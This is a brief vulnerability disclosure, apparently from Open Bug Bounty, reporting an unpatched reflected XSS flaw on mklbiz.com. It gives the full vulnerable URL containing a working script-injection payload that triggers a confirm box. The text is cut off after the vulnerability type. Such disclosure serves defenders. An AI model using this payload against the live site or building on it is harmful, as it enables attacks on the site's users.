mklbiz.com XSS vulnerability

Vulnerable URL: https://www.mklbiz.com/cgi-bin/tmt.pl?cgifunction=form&layout=salelist=list.listid=120536%22%27--!%3E%3CScript%20/K/%3Econfirm%22OPENBUGBOUNTY%22%3C/Script%20/K/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.12.2017 Vulnerability type:| XSS...